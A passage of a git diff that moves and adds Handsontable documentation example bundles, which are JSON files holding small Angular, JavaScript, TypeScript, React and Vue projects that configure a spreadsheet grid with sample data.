{\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport type Handsontable from 'handsontable/base';\n\n@Component({\n selector: 'example2-configuration-options',\n standalone: true,\n imports: [HotTableModule],\n template: `
\n \n
`,\n})\nexport class AppComponent {\n\n readonly data: Handsontable.CellValue[][] = [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5'],\n ];\n\n readonly gridSettings: GridSettings = {\n autoWrapRow: true,\n autoWrapCol: true,\n readOnly: false,\n width: 'auto',\n height: 'auto',\n rowHeaders: true,\n colHeaders: true,\n columns: (index: number) => ({\n type: index > 0 ? 'numeric' : 'text',\n readOnly: index === 2 || index === 8,\n })\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/getting-started/configuration-options/angular/example2.ts","breadcrumb":["Getting Started","Configuration options"],"guide":"guides/getting-started/configuration-options/configuration-options.md","guideTitle":"Configuration options","exampleId":"example2","exampleTitle":"Example","docPermalink":"/configuration-options","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__angular__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__angular__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__angular__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__angular__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__angular__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__angular__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__angular__example6.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__angular__example6.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__angular__example6.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__angular__example6.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__javascript__example2.js.json new file mode 100644 index 00000000..640c9a6b --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Getting Started ▸ Configuration options · Example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2');\nconst data = [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5'],\n];\n\nconst hot = new Handsontable(container, {\n licenseKey: 'non-commercial-and-evaluation',\n data,\n width: 'auto',\n height: 'auto',\n rowHeaders: true,\n colHeaders: true,\n readOnly: false,\n columns: (index) => {\n return {\n type: index > 0 ? 'numeric' : 'text',\n readOnly: index === 2 || index === 8,\n };\n },\n autoWrapRow: true,\n autoWrapCol: true,\n});\n\n// checks a cell's options\n// returns `false`\nhot.getCellMeta(0, 0).readOnly;\n// returns `true`\nhot.getCellMeta(0, 2).readOnly;","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/getting-started/configuration-options/javascript/example2.js","breadcrumb":["Getting Started","Configuration options"],"guide":"guides/getting-started/configuration-options/configuration-options.md","guideTitle":"Configuration options","exampleId":"example2","exampleTitle":"Example","docPermalink":"/configuration-options","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__javascript__example2.ts.json new file mode 100644 index 00000000..3ed295ce --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Getting Started ▸ Configuration options · Example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2')!;\n\nconst data: Handsontable.CellValue[][] = [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5'],\n];\n\nconst hot = new Handsontable(container, {\n licenseKey: 'non-commercial-and-evaluation',\n data,\n width: 'auto',\n height: 'auto',\n rowHeaders: true,\n colHeaders: true,\n readOnly: false,\n columns: (index: number) => {\n return {\n type: index > 0 ? 'numeric' : 'text',\n readOnly: index === 2 || index === 8,\n };\n },\n autoWrapRow: true,\n autoWrapCol: true,\n});\n\n// checks a cell's options\n// returns `false`\nhot.getCellMeta(0, 0).readOnly;\n\n// returns `true`\nhot.getCellMeta(0, 2).readOnly;","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/getting-started/configuration-options/javascript/example2.ts","breadcrumb":["Getting Started","Configuration options"],"guide":"guides/getting-started/configuration-options/configuration-options.md","guideTitle":"Configuration options","exampleId":"example2","exampleTitle":"Example","docPermalink":"/configuration-options","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__javascript__example3.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__javascript__example3.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__javascript__example3.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__javascript__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__javascript__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__javascript__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__javascript__example4.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__javascript__example4.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__javascript__example4.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__javascript__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__javascript__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__javascript__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__javascript__example5.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__javascript__example5.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__javascript__example5.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__javascript__example5.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__javascript__example5.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__javascript__example5.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__javascript__example5.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__javascript__example5.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__javascript__example6.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__javascript__example6.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__javascript__example6.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__javascript__example6.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__javascript__example6.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__javascript__example6.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__javascript__example6.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__javascript__example6.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__react__example2.tsx.json new file mode 100644 index 00000000..a5f2da9e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Getting Started ▸ Configuration options · Example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { FC } from 'react';\nimport { HotTable, HotTableProps } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport Handsontable from 'handsontable/base';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent: FC = () => {\n const data: Handsontable.CellValue[][] = [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5'],\n ];\n\n return (\n ({\n type: index > 0 ? 'numeric' : 'text',\n readOnly: index === 2 || index === 8,\n })}\n />\n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/getting-started/configuration-options/react/example2.tsx","breadcrumb":["Getting Started","Configuration options"],"guide":"guides/getting-started/configuration-options/configuration-options.md","guideTitle":"Configuration options","exampleId":"example2","exampleTitle":"Example","docPermalink":"/configuration-options","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__react__example3.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__react__example3.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__react__example3.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__react__example4.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__react__example4.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__react__example4.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__react__example6.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__react__example6.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__react__example6.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__react__example6.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__vue__example2.vue.json new file mode 100644 index 00000000..a6dfad98 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Getting Started ▸ Configuration options · Example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/getting-started/configuration-options/vue/example2.vue","breadcrumb":["Getting Started","Configuration options"],"guide":"guides/getting-started/configuration-options/configuration-options.md","guideTitle":"Configuration options","exampleId":"example2","exampleTitle":"Example","docPermalink":"/configuration-options","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__vue__example3.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__vue__example3.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__vue__example3.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__vue__example4.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__vue__example4.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__vue__example4.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__vue__example6.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__vue__example6.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__vue__example6.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__vue__example6.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__custom-id-class-style__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__custom-id-class-style__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__custom-id-class-style__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__custom-id-class-style__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__custom-id-class-style__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__custom-id-class-style__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__custom-id-class-style__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__custom-id-class-style__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__custom-id-class-style__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__custom-id-class-style__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__custom-id-class-style__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__custom-id-class-style__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__custom-id-class-style__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__custom-id-class-style__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__custom-id-class-style__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__custom-id-class-style__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__custom-id-class-style__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__custom-id-class-style__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__custom-id-class-style__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__custom-id-class-style__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__demo__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__demo__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__demo__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__demo__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__demo__javascript__example.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__demo__javascript__example.js.json new file mode 100644 index 00000000..d7380333 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__demo__javascript__example.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Getting Started ▸ Demo · example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\n// constants.js\nexport const data = [\n [false, 'Tagcat', 'United Kingdom', 'Classic Vest', '2025-10-11', '01-2331942', true, '172', 2, 2],\n [true, 'Zoomzone', 'Indonesia', 'Cycling Cap', '2025-05-03', '88-2768633', true, '188', 6, 2],\n [true, 'Meeveo', 'United States', 'Full-Finger Gloves', '2025-03-27', '51-6775945', true, '162', 1, 3],\n [false, 'Buzzdog', 'Philippines', 'HL Mountain Frame', '2025-08-29', '44-4028109', true, '133', 7, 1],\n [true, 'Katz', 'India', 'Half-Finger Gloves', '2025-10-02', '08-2758492', true, '87', 1, 3],\n [false, 'Jaxbean', 'China', 'HL Road Frame', '2025-09-28', '84-3557705', false, '26', 8, 1],\n [false, 'Wikido', 'Brazil', 'HL Touring Frame', '2025-06-24', '20-9397637', false, '110', 4, 1],\n [false, 'Browsedrive', 'United States', 'LL Mountain Frame', '2025-03-13', '36-0079556', true, '50', 4, 4],\n [false, 'Twinder', 'United Kingdom', 'LL Road Frame', '2025-04-06', '41-1489542', false, '160', 6, 1],\n [false, 'Jetwire', 'China', 'LL Touring Frame', '2025-02-01', '37-1531629', true, '30', 8, 5],\n [false, 'Chatterpoint', 'China', 'Long-Sleeve Logo Jersey', '2025-07-14', '25-5083429', true, '39', 7, 2],\n [false, 'Twinder', 'Egypt', \"Men's Bib-Shorts\", '2025-08-31', '04-4281278', false, '96', 6, 1],\n [false, 'Midel', 'United States', \"Men's Sports Shorts\", '2025-06-27', '55-1711908', true, '108', 10, 3],\n [false, 'Yodo', 'India', 'ML Mountain Frame', '2025-03-16', '58-8360815', false, '46', 1, 1],\n [false, 'Camido', 'Russia', 'ML Mountain Frame-W', '2025-09-13', '10-3786104', true, '97', 8, 3],\n [false, 'Eire', 'Thailand', 'ML Road Frame', '2025-04-10', '45-1186054', true, '161', 1, 4],\n [false, 'Vinte', 'United Kingdom', 'ML Road Frame-W', '2025-01-22', '62-6202742', true, '58', 4, 3],\n [false, 'Twitterlist', 'China', 'Mountain Bike Socks', '2025-11-09', '88-9646223', true, '92', 8, 3],\n [false, 'Eidel', 'Bangladesh', 'Mountain-100', '2025-09-19', '45-5588112', true, '5', 6, 5],\n [false, 'Trunyx', 'Nigeria', 'Mountain-200', '2025-03-09', '66-6271819', true, '158', 4, 1],\n [false, 'Katz', 'Turkey', 'Mountain-300', '2025-03-05', '38-9245023', false, '121', 5, 4],\n [false, 'Kaymbo', 'United States', 'Mountain-400-W', '2025-12-24', '44-5916927', false, '61', 5, 4],\n [false, 'Ozu', 'Pakistan', 'Mountain-500', '2025-06-13', '31-5449914', true, '155', 2, 2],\n [false, 'Rhynyx', 'India', 'Racing Socks', '2025-12-05', '19-9413869', true, '162', 2, 4],\n [false, 'Flashset', 'Iran', 'Road-150', '2025-12-14', '25-9807605', false, '46', 7, 1],\n [false, 'Yata', 'Congo (Kinshasa)', 'Road-250', '2025-06-12', '74-4291983', true, '47', 4, 4],\n [false, 'Brainlounge', 'Vietnam', 'Road-350-W', '2025-03-10', '83-0980643', true, '104', 2, 3],\n [false, 'Babblestorm', 'United States', 'Road-450', '2025-10-10', '19-2878430', true, '101', 6, 4],\n [false, 'Youspan', 'Brazil', 'Road-550-W', '2025-12-16', '19-1838230', true, '150', 10, 3],\n [false, 'Nlounge', 'China', 'Road-650', '2025-10-31', '32-2267938', true, '42', 4, 2],\n [false, 'Twinte', 'India', 'Road-750', '2025-08-17', '79-2821972', true, '144', 9, 3],\n [false, 'Oyonder', 'United Kingdom', 'Short-Sleeve Classic Jersey', '2025-12-04', '46-6597557', true, '195', 4, 1],\n [false, 'Gigabox', 'Pakistan', 'Sport-100', '2025-02-03', '15-1793960', true, '199', 4, 4],\n [false, 'Livetube', 'France', 'Touring-1000', 